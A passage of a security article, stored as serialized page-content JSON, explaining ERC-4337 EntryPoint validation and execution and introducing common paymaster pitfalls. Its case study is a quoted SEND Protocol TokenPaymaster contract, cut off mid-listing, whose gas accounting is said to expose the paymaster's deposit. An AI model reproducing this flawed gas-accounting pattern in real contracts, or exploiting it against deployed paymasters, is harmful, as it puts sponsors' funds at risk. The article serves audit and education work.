fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":22,"tag":17988,"props":103681,"children":103682},{},[103683,103694],{"type":22,"tag":1871,"props":103684,"children":103685},{},[103686,103692],{"type":22,"tag":257,"props":103687,"children":103689},{"className":103688},[],[103690],{"type":27,"value":103691},"validatePaymasterUserOp()",{"type":27,"value":103693}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":22,"tag":1871,"props":103695,"children":103696},{},[103697,103703],{"type":22,"tag":257,"props":103698,"children":103700},{"className":103699},[],[103701],{"type":27,"value":103702},"postOp()",{"type":27,"value":103704},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":22,"tag":23,"props":103706,"children":103707},{},[103708,103710,103715],{"type":27,"value":103709},"By supporting both sponsorship and token-based gas payments, ",{"type":22,"tag":257,"props":103711,"children":103713},{"className":103712},[],[103714],{"type":27,"value":103656},{"type":27,"value":103716}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":22,"tag":169,"props":103718,"children":103720},{"id":103719},"understanding-the-entrypoints-flow",[103721,103723,103728],{"type":27,"value":103722},"Understanding the ",{"type":22,"tag":257,"props":103724,"children":103726},{"className":103725},[],[103727],{"type":27,"value":103584},{"type":27,"value":103729},"'s Flow",{"type":22,"tag":23,"props":103731,"children":103732},{},[103733,103735,103740,103741,103746,103748,103759,103761,103766,103767,103772],{"type":27,"value":103734},"When a bundler submits ",{"type":22,"tag":257,"props":103736,"children":103738},{"className":103737},[],[103739],{"type":27,"value":103532},{"type":27,"value":17712},{"type":22,"tag":257,"props":103742,"children":103744},{"className":103743},[],[103745],{"type":27,"value":103584},{"type":27,"value":103747}," contract via ",{"type":22,"tag":69,"props":103749,"children":103752},{"href":103750,"rel":103751},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[73],[103753],{"type":22,"tag":257,"props":103754,"children":103756},{"className":103755},[],[103757],{"type":27,"value":103758},"handleOps()",{"type":27,"value":103760},", the processing occurs in two main phases: ",{"type":22,"tag":242,"props":103762,"children":103763},{},[103764],{"type":27,"value":103765},"Validation",{"type":27,"value":12290},{"type":22,"tag":242,"props":103768,"children":103769},{},[103770],{"type":27,"value":103771},"Execution",{"type":27,"value":210},{"type":22,"tag":181,"props":103774,"children":103776},{"id":103775},"validation-phase",[103777],{"type":27,"value":103778},"Validation Phase",{"type":22,"tag":23,"props":103780,"children":103781},{},[103782,103784,103789,103791,103797,103799,103805,103806,103811],{"type":27,"value":103783},"In this phase, the ",{"type":22,"tag":257,"props":103785,"children":103787},{"className":103786},[],[103788],{"type":27,"value":103584},{"type":27,"value":103790}," first validates all operations in the submitted ",{"type":22,"tag":257,"props":103792,"children":103794},{"className":103793},[],[103795],{"type":27,"value":103796},"UserOps",{"type":27,"value":103798}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":22,"tag":257,"props":103800,"children":103802},{"className":103801},[],[103803],{"type":27,"value":103804},"UserOp",{"type":27,"value":103618},{"type":22,"tag":257,"props":103807,"children":103809},{"className":103808},[],[103810],{"type":27,"value":103584},{"type":27,"value":5785},{"type":22,"tag":1867,"props":103813,"children":103814},{},[103815,103833,103851,103872,103884],{"type":22,"tag":1871,"props":103816,"children":103817},{},[103818,103825,103827],{"type":22,"tag":69,"props":103819,"children":103822},{"href":103820,"rel":103821},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[73],[103823],{"type":27,"value":103824},"Calculates",{"type":27,"value":103826}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":22,"tag":257,"props":103828,"children":103830},{"className":103829},[],[103831],{"type":27,"value":103832},"maxFeePerGas",{"type":22,"tag":1871,"props":103834,"children":103835},{},[103836,103843,103844,103849],{"type":22,"tag":69,"props":103837,"children":103840},{"href":103838,"rel":103839},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[73],[103841],{"type":27,"value":103842},"Calls",{"type":27,"value":7750},{"type":22,"tag":257,"props":103845,"children":103847},{"className":103846},[],[103848],{"type":27,"value":103551},{"type":27,"value":103850}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":22,"tag":1871,"props":103852,"children":103853},{},[103854,103856,103863,103865,103870],{"type":27,"value":103855},"If no paymaster is specified, attempts to ",{"type":22,"tag":69,"props":103857,"children":103860},{"href":103858,"rel":103859},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[73],[103861],{"type":27,"value":103862},"deduct",{"type":27,"value":103864}," the prefund amount from the sender's ETH deposit in the ",{"type":22,"tag":257,"props":103866,"children":103868},{"className":103867},[],[103869],{"type":27,"value":103584},{"type":27,"value":103871}," (this can be partially refunded later if actual execution costs less)",{"type":22,"tag":1871,"props":103873,"children":103874},{},[103875,103882],{"type":22,"tag":69,"props":103876,"children":103879},{"href":103877,"rel":103878},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[73],[103880],{"type":27,"value":103881},"Validates",{"type":27,"value":103883}," the nonce to prevent replay attacks",{"type":22,"tag":1871,"props":103885,"children":103886},{},[103887,103889,103895,103897,103903,103904,103909],{"type":27,"value":103888},"If a paymaster is specified, it will ",{"type":22,"tag":69,"props":103890,"children":103893},{"href":103891,"rel":103892},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[73],[103894],{"type":27,"value":103862},{"type":27,"value":103896}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":22,"tag":69,"props":103898,"children":103901},{"href":103899,"rel":103900},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[73],[103902],{"type":27,"value":39610},{"type":27,"value":7750},{"type":22,"tag":257,"props":103905,"children":103907},{"className":103906},[],[103908],{"type":27,"value":103691},{"type":27,"value":103910}," on the paymaster contract to verify it will cover gas costs",{"type":22,"tag":23,"props":103912,"children":103913},{},[103914,103916,103921,103923,103928],{"type":27,"value":103915},"Only after all these validation checks pass will the ",{"type":22,"tag":257,"props":103917,"children":103919},{"className":103918},[],[103920],{"type":27,"value":103584},{"type":27,"value":103922}," move on to actually executing the ",{"type":22,"tag":257,"props":103924,"children":103926},{"className":103925},[],[103927],{"type":27,"value":103503},{"type":27,"value":103929},". This strict validation flow ensures that:",{"type":22,"tag":17988,"props":103931,"children":103932},{},[103933,103938,103943,103948],{"type":22,"tag":1871,"props":103934,"children":103935},{},[103936],{"type":27,"value":103937},"The operation is legitimate and authorized by the user",{"type":22,"tag":1871,"props":103939,"children":103940},{},[103941],{"type":27,"value":103942},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":22,"tag":1871,"props":103944,"children":103945},{},[103946],{"type":27,"value":103947},"The operation cannot be replayed",{"type":22,"tag":1871,"props":103949,"children":103950},{},[103951],{"type":27,"value":103952},"All involved contracts (sender and paymaster) have approved the execution",{"type":22,"tag":23,"props":103954,"children":103955},{},[103956],{"type":27,"value":103957},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":22,"tag":181,"props":103959,"children":103961},{"id":103960},"execution-phase",[103962],{"type":27,"value":103963},"Execution Phase",{"type":22,"tag":23,"props":103965,"children":103966},{},[103967,103969,103974,103976,103983,103985,103990],{"type":27,"value":103968},"After all operations have passed validation, the ",{"type":22,"tag":257,"props":103970,"children":103972},{"className":103971},[],[103973],{"type":27,"value":103584},{"type":27,"value":103975}," begins the ",{"type":22,"tag":69,"props":103977,"children":103980},{"href":103978,"rel":103979},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[73],[103981],{"type":27,"value":103982},"execution",{"type":27,"value":103984}," phase, processing each ",{"type":22,"tag":257,"props":103986,"children":103988},{"className":103987},[],[103989],{"type":27,"value":103503},{"type":27,"value":103991}," individually. For each operation, the flow is:",{"type":22,"tag":1867,"props":103993,"children":103994},{},[103995,104055,104101],{"type":22,"tag":1871,"props":103996,"children":103997},{},[103998,103999,104004,104006,104012,104013,104019,104021],{"type":27,"value":17914},{"type":22,"tag":257,"props":104000,"children":104002},{"className":104001},[],[104003],{"type":27,"value":103584},{"type":27,"value":104005}," makes a ",{"type":22,"tag":69,"props":104007,"children":104010},{"href":104008,"rel":104009},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[73],[104011],{"type":27,"value":39610},{"type":27,"value":58097},{"type":22,"tag":257,"props":104014,"children":104016},{"className":104015},[],[104017],{"type":27,"value":104018},"innerHandleOp()",{"type":27,"value":104020},", which:\n",{"type":22,"tag":17988,"props":104022,"children":104023},{},[104024,104036,104041],{"type":22,"tag":1871,"props":104025,"children":104026},{},[104027,104034],{"type":22,"tag":69,"props":104028,"children":104031},{"href":104029,"rel":104030},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[73],[104032],{"type":27,"value":104033},"Forwards",{"type":27,"value":104035}," the operation to the sender's smart account contract",{"type":22,"tag":1871,"props":104037,"children":104038},{},[104039],{"type":27,"value":104040},"Executes the intended transaction(s) within the smart account",{"type":22,"tag":1871,"props":104042,"children":104043},{},[104044,104046,104053],{"type":27,"value":104045},"Handles ",{"type":22,"tag":69,"props":104047,"children":104050},{"href":104048,"rel":104049},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[73],[104051],{"type":27,"value":104052},"post-execution",{"type":27,"value":104054}," tasks and cleanup",{"type":22,"tag":1871,"props":104056,"children":104057},{},[104058,104060,104066,104068,104074,104075,104081,104083],{"type":27,"value":104059},"If a paymaster was used, ",{"type":22,"tag":257,"props":104061,"children":104063},{"className":104062},[],[104064],{"type":27,"value":104065},"Entrypoint",{"type":27,"value":104067}," will ",{"type":22,"tag":69,"props":104069,"children":104072},{"href":104070,"rel":104071},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[73],[104073],{"type":27,"value":39610},{"type":27,"value":7750},{"type":22,"tag":257,"props":104076,"children":104078},{"className":104077},[],[104079],{"type":27,"value":104080},"paymaster.postOp()",{"type":27,"value":104082}," to:\n",{"type":22,"tag":17988,"props":104084,"children":104085},{},[104086,104091,104096],{"type":22,"tag":1871,"props":104087,"children":104088},{},[104089],{"type":27,"value":104090},"Allow paymaster to finalize its accounting",{"type":22,"tag":1871,"props":104092,"children":104093},{},[104094],{"type":27,"value":104095},"Process any refunds or additional charges",{"type":22,"tag":1871,"props":104097,"children":104098},{},[104099],{"type":27,"value":104100},"Complete any paymaster-specific logic",{"type":22,"tag":1871,"props":104102,"children":104103},{},[104104,104106,104111,104112,104119,104121],{"type":27,"value":104105},"Finally, after all operations are processed, the ",{"type":22,"tag":257,"props":104107,"children":104109},{"className":104108},[],[104110],{"type":27,"value":103584},{"type":27,"value":7750},{"type":22,"tag":69,"props":104113,"children":104116},{"href":104114,"rel":104115},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[73],[104117],{"type":27,"value":104118},"compensates",{"type":27,"value":104120}," the bundler for:\n",{"type":22,"tag":17988,"props":104122,"children":104123},{},[104124,104129,104134],{"type":22,"tag":1871,"props":104125,"children":104126},{},[104127],{"type":27,"value":104128},"Gas costs from executing all operations",{"type":22,"tag":1871,"props":104130,"children":104131},{},[104132],{"type":27,"value":104133},"Overhead from submitting the batch transaction",{"type":22,"tag":1871,"props":104135,"children":104136},{},[104137],{"type":27,"value":104138},"Any unused gas, which is refunded",{"type":22,"tag":23,"props":104140,"children":104141},{},[104142],{"type":27,"value":104143},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":22,"tag":23,"props":104145,"children":104146},{},[104147,104149,104154,104156,104162,104164,104169],{"type":27,"value":104148},"Now that we understand how the ",{"type":22,"tag":257,"props":104150,"children":104152},{"className":104151},[],[104153],{"type":27,"value":103584},{"type":27,"value":104155}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":22,"tag":257,"props":104157,"children":104159},{"className":104158},[],[104160],{"type":27,"value":104161},"paymasters",{"type":27,"value":104163}," that align with the ",{"type":22,"tag":257,"props":104165,"children":104167},{"className":104166},[],[104168],{"type":27,"value":103584},{"type":27,"value":104170},"'s execution model, leading to potential vulnerabilities.",{"type":22,"tag":36687,"props":104172,"children":104174},{"id":104173},"common-pitfalls-in-paymaster-implementation",[104175],{"type":27,"value":104176},"Common Pitfalls in Paymaster Implementation",{"type":22,"tag":23,"props":104178,"children":104179},{},[104180,104182,104187],{"type":27,"value":104181},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":22,"tag":257,"props":104183,"children":104185},{"className":104184},[],[104186],{"type":27,"value":103584},{"type":27,"value":104188}," to exploitation or griefing.",{"type":22,"tag":23,"props":104190,"children":104191},{},[104192,104194,104199],{"type":27,"value":104193},"In this section, we’ll walk through the ",{"type":22,"tag":242,"props":104195,"children":104196},{},[104197],{"type":27,"value":104198},"two most common pitfalls",{"type":27,"value":104200}," we’ve observed in real-world paymaster implementations:",{"type":22,"tag":169,"props":104202,"children":104204},{"id":104203},"undercalculated-gas-costs",[104205],{"type":22,"tag":242,"props":104206,"children":104207},{},[104208],{"type":27,"value":104209},"Undercalculated Gas Costs",{"type":22,"tag":23,"props":104211,"children":104212},{},[104213,104215,104220,104222,104227,104229,104234,104236,104243],{"type":27,"value":104214},"To understand this issue, let's first examine how gas penalties work in the ",{"type":22,"tag":257,"props":104216,"children":104218},{"className":104217},[],[104219],{"type":27,"value":103584},{"type":27,"value":104221},". When a ",{"type":22,"tag":257,"props":104223,"children":104225},{"className":104224},[],[104226],{"type":27,"value":103503},{"type":27,"value":104228}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":22,"tag":257,"props":104230,"children":104232},{"className":104231},[],[104233],{"type":27,"value":103584},{"type":27,"value":104235}," charges a ",{"type":22,"tag":69,"props":104237,"children":104240},{"href":104238,"rel":104239},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[73],[104241],{"type":27,"value":104242},"penalty of 10%",{"type":27,"value":104244}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":22,"tag":23,"props":104246,"children":104247},{},[104248],{"type":27,"value":104249},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":22,"tag":618,"props":104251,"children":104253},{"className":5768,"code":104252,"language":5767,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[104254],{"type":22,"tag":257,"props":104255,"children":104256},{"__ignoreMap":7},[104257,104301,104308,104365,104373,104381,104423,104430,104442,104464,104485,104515,104566,104596,104617,104655,104694,104711,104750,104774,104791,104834,104856,104873,104890,104897,104904,104930,104947,104982,105013,105025,105072,105079,105086,105093,105160,105167,105174,105181,105192,105211,105230,105294,105317,105350,105365,105400,105408,105447,105472,105493,105501,105528,105555,105563,105571,105613,105620,105627,105651,105667,105674,105681,105699,105712,105719,105727],{"type":22,"tag":264,"props":104258,"children":104259},{"class":1534,"line":1535},[104260,104264,104269,104274,104279,104283,104288,104292,104297],{"type":22,"tag":264,"props":104261,"children":104262},{"style":4293},[104263],{"type":27,"value":91137},{"type":22,"tag":264,"props":104265,"children":104266},{"style":4722},[104267],{"type":27,"value":104268}," TokenPaymaster",{"type":22,"tag":264,"props":104270,"children":104271},{"style":4293},[104272],{"type":27,"value":104273}," is",{"type":22,"tag":264,"props":104275,"children":104276},{"style":4722},[104277],{"type":27,"value":104278}," BasePaymaster",{"type":22,"tag":264,"props":104280,"children":104281},{"style":1539},[104282],{"type":27,"value":4380},{"type":22,"tag":264,"props":104284,"children":104285},{"style":4722},[104286],{"type":27,"value":104287},"UniswapHelper",{"type":22,"tag":264,"props":104289,"children":104290},{"style":1539},[104291],{"type":27,"value":4380},{"type":22,"tag":264,"props":104293,"children":104294},{"style":4722},[104295],{"type":27,"value":104296},"OracleHelper",{"type":22,"tag":264,"props":104298,"children":104299},{"style":1539},[104300],{"type":27,"value":4594},{"type":22,"tag":264,"props":104302,"children":104303},{"class":1534,"line":1545},[104304],{"type":22,"tag":264,"props":104305,"children":104306},{"style":1539},[104307],{"type":27,"value":11616},{"type":22,"tag":264,"props":104309,"children":104310},{"class":1534,"line":1560},[104311,104315,104320,104324,104329,104334,104339,104343,104348,104352,104356,104361],{"type":22,"tag":264,"props":104312,"children":104313},{"style":4293},[104314],{"type":27,"value":91154},{"type":22,"tag":264,"props":104316,"children":104317},{"style":4401},[104318],{"type":27,"value":104319}," _validatePaymasterUserOp",{"type":22,"tag":264,"props":104321,"children":104322},{"style":1539},[104323],{"type":27,"value":2660},{"type":22,"tag":264,"props":104325,"children":104326},{"style":4293},[104327],{"type":27,"value":104328},"PackedUserOperation",{"type":22,"tag":264,"props":104330,"children":104331},{"style":4293},[104332],{"type":27,"value":104333}," calldata",{"type":22,"tag":264,"props":104335,"children":104336},{"style":1549},[104337],{"type":27,"value":104338}," userOp",{"type":22,"tag":264,"props":104340,"children":104341},{"style":1539},[104342],{"type":27,"value":4380},{"type":22,"tag":264,"props":104344,"children":104345},{"style":4722},[104346],{"type":27,"value":104347},"bytes32",{"type":22,"tag":264,"props":104349,"children":104350},{"style":1539},[104351],{"type":27,"value":4380},{"type":22,"tag":264,"props":104353,"children":104354},{"style":4722},[104355],{"type":27,"value":47488},{"type":22,"tag":264,"props":104357,"children":104358},{"style":1549},[104359],{"type":27,"value":104360}," requiredPreFund",{"type":22,"tag":264,"props":104362,"children":104363},{"style":1539},[104364],{"type":27,"value":4463},{"type":22,"tag":264,"props":104366,"children":104367},{"class":1534,"line":1569},[104368],{"type":22,"tag":264,"props":104369,"children":104370},{"style":4293},[104371],{"type":27,"value":104372},"        internal\n",{"type":22,"tag":264,"props":104374,"children":104375},{"class":1534,"line":1583},[104376],{"type":22,"tag":264,"props":104377,"children":104378},{"style":4293},[104379],{"type":27,"value":104380},"        override\n",{"type":22,"tag":264,"props":104382,"children":104383},{"class":1534,"line":1603},[104384,104389,104393,104397,104402,104406,104410,104414,104419],{"type":22,"tag":264,"props":104385,"children":104386},{"style":4328},[104387],{"type":27,"value":104388},"        returns",{"type":22,"tag":264,"props":104390,"children":104391},{"style":1539},[104392],{"type":27,"value":4370},{"type":22,"tag":264,"props":104394,"children":104395},{"style":4722},[104396],{"type":27,"value":85153},{"type":22,"tag":264,"props":104398,"children":104399},{"style":4293},[104400],{"type":27,"value":104401}," memory",{"type":22,"tag":264,"props":104403,"children":104404},{"style":1549},[104405],{"type":27,"value":77666},{"type":22,"tag":264,"props":104407,"children":104408},{"style":1539},[104409],{"type":27,"value":4380},{"type":22,"tag":264,"props":104411,"children":104412},{"style":4722},[104413],{"type":27,"value":47488},{"type":22,"tag":264,"props":104415,"children":104416},{"style":1549},[104417],{"type":27,"value":104418}," validationResult",{"type":22,"tag":264,"props":104420,"children":104421},{"style":1539},[104422],{"type":27,"value":4463},{"type":22,"tag":264,"props":104424,"children":104425},{"class":1534,"line":1612},[104426],{"type":22,"tag":264,"props":104427,"children":104428},{"style":1539},[104429],{"type":27,"value":1566},{"type":22,"tag":264,"props":104431,"children":104432},{"class":1534,"line":1621},[104433,104438],{"type":22,"tag":264,"props":104434,"children":104435},{"style":4328},[104436],{"type":27,"value":104437},"        unchecked",{"type":22,"tag":264,"props":104439,"children":104440},{"style":1539},[104441],{"type":27,"value":4594},{"type":22,"tag":264,"props":104443,"children":104444},{"class":1534,"line":1629},[104445,104450,104455,104459],{"type":22,"tag":264,"props":104446,"children":104447},{"style":4722},[104448],{"type":27,"value":104449},"            uint256",{"type":22,"tag":264,"props":104451,"children":104452},{"style":1539},[104453],{"type":27,"value":104454}," priceMarkup ",{"type":22,"tag":264,"props":104456,"children":104457},{"style":4309},[104458],{"type":27,"value":429},{"type":22,"tag":264,"props":104460,"children":104461},{"style":1539},[104462],{"type":27,"value":104463}," tokenPaymasterConfig.priceMarkup;\n",{"type":22,"tag":264,"props":104465,"children":104466},{"class":1534,"line":1642},[104467,104471,104476,104480],{"type":22,"tag":264,"props":104468,"children":104469},{"style":4722},[104470],{"type":27,"value":104449},{"type":22,"tag":264,"props":104472,"children":104473},{"style":1539},[104474],{"type":27,"value":104475}," baseFee ",{"type":22,"tag":264,"props":104477,"children":104478},{"style":4309},[104479],{"type":27,"value":429},{"type":22,"tag":264,"props":104481,"children":104482},{"style":1539},[104483],{"type":27,"value":104484}," tokenPaymasterConfig.baseFee;\n",{"type":22,"tag":264,"props":104486,"children":104487},{"class":1534,"line":1660},[104488,104492,104497,104501,104506,104510],{"type":22,"tag":264,"props":104489,"children":104490},{"style":4722},[104491],{"type":27,"value":104449},{"type":22,"tag":264,"props":104493,"children":104494},{"style":1539},[104495],{"type":27,"value":104496}," dataLength ",{"type":22,"tag":264,"props":104498,"children":104499},{"style":4309},[104500],{"type":27,"value":429},{"type":22,"tag":264,"props":104502,"children":104503},{"style":1539},[104504],{"type":27,"value":104505}," userOp.paymasterAndData.length ",{"type":22,"tag":264,"props":104507,"children":104508},{"style":4309},[104509],{"type":27,"value":5621},{"type":22,"tag":264,"props":104511,"children":104512},{"style":1539},[104513],{"type":27,"value":104514}," PAYMASTER_DATA_OFFSET;\n",{"type":22,"tag":264,"props":104516,"children":104517},{"class":1534,"line":1668},[104518,104523,104528,104532,104536,104540,104544,104548,104553,104557,104562],{"type":22,"tag":264,"props":104519,"children":104520},{"style":4328},[104521],{"type":27,"value":104522},"            require",{"type":22,"tag":264,"props":104524,"children":104525},{"style":1539},[104526],{"type":27,"value":104527},"(dataLength ",{"type":22,"tag":264,"props":104529,"children":104530},{"style":4309},[104531],{"type":27,"value":9870},{"type":22,"tag":264,"props":104533,"children":104534},{"style":4344},[104535],{"type":27,"value":4347},{"type":22,"tag":264,"props":104537,"children":104538},{"style":4309},[104539],{"type":27,"value":25009},{"type":22,"tag":264,"props":104541,"children":104542},{"style":1539},[104543],{"type":27,"value":104496},{"type":22,"tag":264,"props":104545,"children":104546},{"style":4309},[104547],{"type":27,"value":9870},{"type":22,"tag":264,"props":104549,"children":104550},{"style":4344},[104551],{"type":27,"value":104552}," 32",{"type":22,"tag":264,"props":104554,"children":104555},{"style":1539},[104556],{"type":27,"value":4380},{"type":22,"tag":264,"props":104558,"children":104559},{"style":1597},[104560],{"type":27,"value":104561},"\"TPM: invalid data length\"",{"type":22,"tag":264,"props":104563,"children":104564},{"style":1539},[104565],{"type":27,"value":5142},{"type":22,"tag":264,"props":104567,"children":104568},{"class":1534,"line":1677},[104569,104573,104578,104582,104587,104592],{"type":22,"tag":264,"props":104570,"children":104571},{"style":4722},[104572],{"type":27,"value":104449},{"type":22,"tag":264,"props":104574,"children":104575},{"style":1539},[104576],{"type":27,"value":104577}," maxFeePerGas ",{"type":22,"tag":264,"props":104579,"children":104580},{"style":4309},[104581],{"type":27,"value":429},{"type":22,"tag":264,"props":104583,"children":104584},{"style":1539},[104585],{"type":27,"value":104586}," userOp.",{"type":22,"tag":264,"props":104588,"children":104589},{"style":4401},[104590],{"type":27,"value":104591},"unpackMaxFeePerGas",{"type":22,"tag":264,"props":104593,"children":104594},{"style":1539},[104595],{"type":27,"value":4977},{"type":22,"tag":264,"props":104597,"children":104598},{"class":1534,"line":1686},[104599,104603,104608,104612],{"type":22,"tag":264,"props":104600,"children":104601},{"style":4722},[104602],{"type":27,"value":104449},{"type":22,"tag":264,"props":104604,"children":104605},{"style":1539},[104606],{"type":27,"value":104607}," refundPostopCost ",{"type":22,"tag":264,"props":104609,"children":104610},{"style":4309},[104611],{"type":27,"value":429},{"type":22,"tag":264,"props":104613,"children":104614},{"style":1539},[104615],{"type":27,"value":104616}," tokenPaymasterConfig.refundPostopCost;\n",{"type":22,"tag":264,"props":104618,"children":104619},{"class":1534,"line":4948},[104620,104624,104629,104633,104637,104642,104646,104651],{"type":22,"tag":264,"props":104621,"children":104622},{"style":4328},[104623],{"type":27,"value":104522},{"type":22,"tag":264,"props":104625,"children":104626},{"style":1539},[104627],{"type":27,"value":104628},"(refundPostopCost ",{"type":22,"tag":264,"props":104630,"children":104631},{"style":4309},[104632],{"type":27,"value":7097},{"type":22,"tag":264,"props":104634,"children":104635},{"style":1539},[104636],{"type":27,"value":104586},{"type":22,"tag":264,"props":104638,"children":104639},{"style":4401},[104640],{"type":27,"value":104641},"unpackPostOpGasLimit",{"type":22,"tag":264,"props":104643,"children":104644},{"style":1539},[104645],{"type":27,"value":19678},{"type":22,"tag":264,"props":104647,"children":104648},{"style":1597},[104649],{"type":27,"value":104650},"\"TPM: postOpGasLimit too low\"",{"type":22,"tag":264,"props":104652,"children":104653},{"style":1539},[104654],{"type":27,"value":5142},{"type":22,"tag":264,"props":104656,"children":104657},{"class":1534,"line":4957},[104658,104662,104667,104671,104676,104680,104685,104689],{"type":22,"tag":264,"props":104659,"children":104660},{"style":4722},[104661],{"type":27,"value":104449},{"type":22,"tag":264,"props":104663,"children":104664},{"style":1539},[104665],{"type":27,"value":104666}," preChargeNative ",{"type":22,"tag":264,"props":104668,"children":104669},{"style":4309},[104670],{"type":27,"value":429},{"type":22,"tag":264,"props":104672,"children":104673},{"style":1539},[104674],{"type":27,"value":104675}," requiredPreFund ",{"type":22,"tag":264,"props":104677,"children":104678},{"style":4309},[104679],{"type":27,"value":673},{"type":22,"tag":264,"props":104681,"children":104682},{"style":1539},[104683],{"type":27,"value":104684}," (refundPostopCost ",{"type":22,"tag":264,"props":104686,"children":104687},{"style":4309},[104688],{"type":27,"value":5865},{"type":22,"tag":264,"props":104690,"children":104691},{"style":1539},[104692],{"type":27,"value":104693}," 